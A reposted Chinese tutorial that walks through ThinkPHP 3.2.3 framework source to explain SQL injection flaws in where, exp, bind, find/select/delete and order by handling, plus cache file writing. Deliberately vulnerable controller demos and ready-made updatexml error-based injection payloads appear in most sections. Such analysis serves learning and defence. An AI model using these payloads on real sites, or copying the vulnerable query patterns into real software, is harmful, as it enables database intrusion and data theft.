「原創」萌新也能看懂的ThinkPHP3.2.3漏洞分析


ThinkPHP是一個快速、兼容而且簡單的輕量級國產PHP開發框架,可以支持Windows/Unix/Linux等服務器環境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多種數據庫以及PDO擴展。

網上關於ThinkPHP的漏洞分析文章有很多,今天分享的內容是 i 春秋論壇作者佳哥原創的文章。本文是作者在學習ThinkPHP3.2.3漏洞分析過程中的一次完整的記錄,非常適合初學者,文章未經許可禁止轉載!

 

注:i 春秋公眾號旨在為大家提供更多的學習方法與技能技巧,文章僅供學習參考。

 

 

where注入

在控制器中,寫個demo,利用字符串方式作為where傳參時存在注入。

public function  getuser(){
    $user = M('User')->where('id='.I('id'))->find();
    dump($user);
}

在變量user地方進行斷點,PHPSTROM F7進入,I方法獲取傳入的參數。

switch(strtolower($method)) {
        case 'get'     :   
                $input =& $_GET;
                break;
        case 'post'    :   
                $input =& $_POST;
                break;
        case 'put'     :   
                if(is_null($_PUT)){
                    parse_str(file_get_contents('php://input'), $_PUT);
                }
                $input         =        $_PUT;        
                break;
        case 'param'   :
            switch($_SERVER['REQUEST_METHOD']) {
                case 'POST':
                    $input  =  $_POST;
                    break;
                case 'PUT':
                        if(is_null($_PUT)){
                            parse_str(file_get_contents('php://input'), $_PUT);
                        }
                        $input         =        $_PUT;
                    break;
                default:
                    $input  =  $_GET;
            }
            break;
 ......

重點看過濾函數

 

先利用htmlspecialchars函數過濾參數,在第402行,利用think_filter函數過濾常規sql函數。

function think_filter(&$value){
        // TODO 其他安全過濾

        // 過濾查詢特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }
}

在where方法中,將$where的值放入到options["where"]數組中。

 

繼續跟進查看find方法,第748行。

$options     =   $this->_parseOptions($options);

在數組$options中增加

'table'=>'tp_user','model'=>'User',隨后F7跟進select方法。

public function select($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $sql    = $this->buildSelectSql($options);
        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
        return $result;
}

跟進buildSelectSql方法,繼續在跟進parseSql方法,這里可以看到生成完整的sql語句。

 

這里主要查看parseWhere方法

 

跟進parseThinkWhere方法

protected function parseThinkWhere($key,$val) {
        $whereStr   = '';
        switch($key) {
            case '_string':
                // 字符串模式查詢條件
                $whereStr = $val;
                break;
            case '_complex':
                // 復合查詢條件
                $whereStr = substr($this->parseWhere($val),6);
                break;

$key為_string,所以$whereStr為傳入的參數的值,最后parserWhere方法返回(id=1p),所以最終payload為:

1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+

 

exp注入

漏洞demo,這里使用全局數組進行傳參(不要用I方法),漏洞才能生效。

public function  getuser(){
        $User = D('User');
        $map = array('id' => $_GET['id']);
        $user = $User->where($map)->find();
        dump($user);
}

直接在$user進行斷點,F7跟進,跳過where方法,跟進

find->select->buildSelectSql->parseSql->parseWhere

 

跟進parseWhereItem方法,此時參數$val為一個數組,{‘exp’,‘sql注入exp’}

 

此時當$exp滿足exp時,將參數和值就行拼接,所以最終paylaod為:

id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+

 

上面至於為什么不能用I方法,原因是在過濾函數think_filter中能匹配到exp字符,所以在exp字符后面加了一個空格,導致在parseWhereItem方法中無法等於exp。

if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))

 

bind注入

漏洞demo

public function  getuser(){
        $data['id'] = I('id');
        $uname['username'] = I('username');
        $user = M('User')->where($data)->save($uname);
        dump($user);
}

F8跟進save方法

 

生成sql語句在update方法中:

public function update($data,$options) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $table  =   $this->parseTable($options['table']);
        $sql   = 'UPDATE ' . $table . $this->parseSet($data);
        if(strpos($table,',')){// 多表更新支持JOIN操作
            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        if(!strpos($table,',')){
            //  單表更新支持order和lmit
            $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')
                .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }

在parseSet方法中,可以將傳入的參數替換成:0。

 

在bindParam方法中,$this->bind屬性返回array(':0'=>參數值)。

protected function bindParam($name,$value){
        $this->bind[':'.$name]  =   $value;
}

繼續跟進parseWhere->parseWhereItem方法,當exp為bind時,就會在參數值前面加個冒號(:)。

 

由於在sql語句中有冒號,繼續跟進excute方法,這里將:0替換成了第二個參數的值。

 

所以最終的payload為:

id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing

 

 

find/select/delete注入

先分析find注入,在控制器中寫個漏洞demo。

public function getuser(){
    $user = M('User')->find(I('id'));
    dump($user);
}

當傳入id[where]=1p時候,在user進行斷點,F7跟進find->_parseOptions方法:

 

$options['where']為字符串,導致不能執行_parseType方法轉化數據,進行跟進select->buildSelectSql->parseSql->parseWhere方法,傳入的$where為字符串,直接執行了if語句。

protected function parseWhere($where) {
        $whereStr = '';
        if(is_string($where)) {
            // 直接使用字符串條件
            $whereStr = $where;
            ......
        }
        return empty($whereStr)?'':' WHERE '.$whereStr;

當傳入id=1p,就不能進行注入了,具體原因在find->_parseOptions->_parseType方法,將傳入的參數進行了強轉化為整形。

 

所以,payload為:

?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)

 

select和delete原理同find方法一樣,只是delete方法多增加了一個判斷是否為空。

if(empty($options['where'])){
            // 如果條件為空 不進行刪除操作 除非設置 1=1
            return false;
        }        
        if(is_array($options['where']) && isset($options['where'][$pk])){
            $pkValue            =  $options['where'][$pk];
        }

        if(false === $this->_before_delete($options)) {
            return false;
        }   

order by注入

先在控制器中寫個漏洞demo

public function user(){
    $data['username'] = array('eq','admin');
    $user = M('User')->where($data)->order(I('order'))->find();
    dump($user);
}

在user變量處斷點,F7跟進,find->select->buildSelectSql->parseSql方法。

$this->parseOrder(!empty($options['order'])?$options['order']:''),

當$options['order']參數參在時,跟進parseOrder方法。

 

當不為數組時,直接返回order by + 注入pyload,所以注入payload為:

order=id and(updatexml(1,concat(0x7e,(select user())),0))

 

緩存漏洞

在ThinkPHP3.2中,緩存函數有F方法和S方法,兩個方法有什么區別呢,官方介紹如下:

  • F方法:相當於PHP自帶的file_put_content和file_get_content函數,沒有太多存在時間的概念,是文件存儲數據的方式。常用於文件配置。
  • S方法:文件緩存,有生命時長,時間到期后緩存內容會得到更新。常用於單頁面data緩存。

這里F方法就不介紹了,直接看S方法。

public function test(){
    S('name',I('test'));
}

跟進查看S方法

 

set方法寫入緩存

 

跟進filename方法,此方法獲取寫入文件的路徑,保存在

../Application/Runtime/Temp目錄下

private function filename($name) {
        $name        =        md5(C('DATA_CACHE_KEY').$name);
        if(C('DATA_CACHE_SUBDIR')) {
            // 使用子目錄
            $dir   ='';
            for($i=0;$i<C('DATA_PATH_LEVEL');$i++) {
                $dir        .=        $name{$i}.'/';
            }
            if(!is_dir($this->options['temp'].$dir)) {
                mkdir($this->options['temp'].$dir,0755,true);
            }
            $filename        =        $dir.$this->options['prefix'].$name.'.php';
        }else{
            $filename        =        $this->options['prefix'].$name.'.php';
        }
        return $this->options['temp'].$filename;
    }

並將S傳入的name進行md5值作為文件名,最終通過file_put_contents函數寫入文件。

 

以上是今天分享的內容,大家看懂了嗎?記得要實際動手練習一下,才能加深印象哦~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM